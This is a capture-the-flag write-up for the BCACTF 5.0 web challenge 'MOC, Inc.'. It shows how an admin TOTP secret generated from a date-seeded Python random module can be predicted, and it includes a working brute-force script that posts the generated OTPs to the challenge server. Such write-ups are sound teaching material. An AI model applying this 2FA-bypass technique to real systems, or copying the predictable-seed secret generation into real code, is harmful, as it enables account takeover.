BCACTF 5.0 | MOC, INC.

Published on: February 5, 2025

5 min read · Posted by Baba is Dead

Challenge Details

Description

Category

Web Exploitation

Difficulty

Medium

Topics

Competition

BCACTF 5.0

Author

Baba is Dead

Towards the end of last month, we started receiving reports about suspicious activity coming from a company called MOC, Inc. Our investigative team has tracked down their secret company porta

Writeup

Solve Process

We are greeted with this webpage
image44

So it seems we need to someone login to the provided admin account using an unknown 2FA code. Lets take a look at the source code.

totp = pyotp.TOTP(result[0])

if totp.verify(request.form['totp']):
    with open('../flag.txt') as file:
        return render_template('portal.html', message=file.read())

It seems pyotp is used to generate the OTPs. Pyotp works by taking in a secret, and it generates an otp which is only valid for 30 seconds. As such, for this challenge, as long as we know the secret, we are able to generate our own otp to use.

Heres where the secret is generated

random.seed(datetime.datetime.today().strftime('%Y-%m-%d'))
...
if __name__ == '__main__':
    if len(sys.argv) == 3:
        SECRET_ALPHABET = 'ABCDEFGHJKLMNOPQRSTUVWXYZ234567'
        
        totp_secret = ''.join([random.choice(SECRET_ALPHABET) for _ in range(20)])

The important thing to note here that the pseudo random generator in python has been seeded. Python’s random module is not truly random, and needs a set seed in order to begin it’s random process. If we provide it with the same seed on two separate runs, then both those runs will produce the same outcome.

The random has been seeded with the current (server start time)’s “Year-Month-Date” As the input seed. If we can determine the input seed, then we will be able to determine the totp_secret that is generated by the random module.

We don’t know the exact time the server started, but it isn’t too difficult to guess. We can just start from the CTF’s start date (2024-06-08) and work our way back in time until the server tells us the OTP generated from this seed is valid.

So the solve script process is

  1. Start from the current date and iterate back 1 day each time
  2. In each loop, seed the rng with that loop’s respective date
  3. Generate the totp_secret that the respective date would have generated
  4. Send a POST request to the server to verify whether the OTP generated is correct
  5. Get the response and print it if the OTP generated is successful
import random
import datetime
import pyotp
import requests

SECRET_ALPHABET = 'ABCDEFGHJKLMNOPQRSTUVWXYZ234567'
current_date = datetime.datetime.today()
for i in range(100):
    back = current_date - datetime.timedelta(days=i)
    seed = back.strftime('%Y-%m-%d')

    # Seed the RNG
    random.seed(seed)

    # Using the seed, get the secret generated
    totp_secret = ''.join([random.choice(SECRET_ALPHABET) for _ in range(20)])

    # Using the secret, generate an OTP
    totp = pyotp.TOTP(totp_secret)

    # Try the OTP generated
    params = {'username': 'admin', 'password': 'admin', 'totp': totp.now()}
    result = requests.post('http://challs.bcactf.com:31772/', data=params)

    # If correct, then print the flag
    if 'incorrect' not in result.text:
        print(result.text)
        break

And we can retrieve our flag
image49

Please login to comment


Comments

No comments yet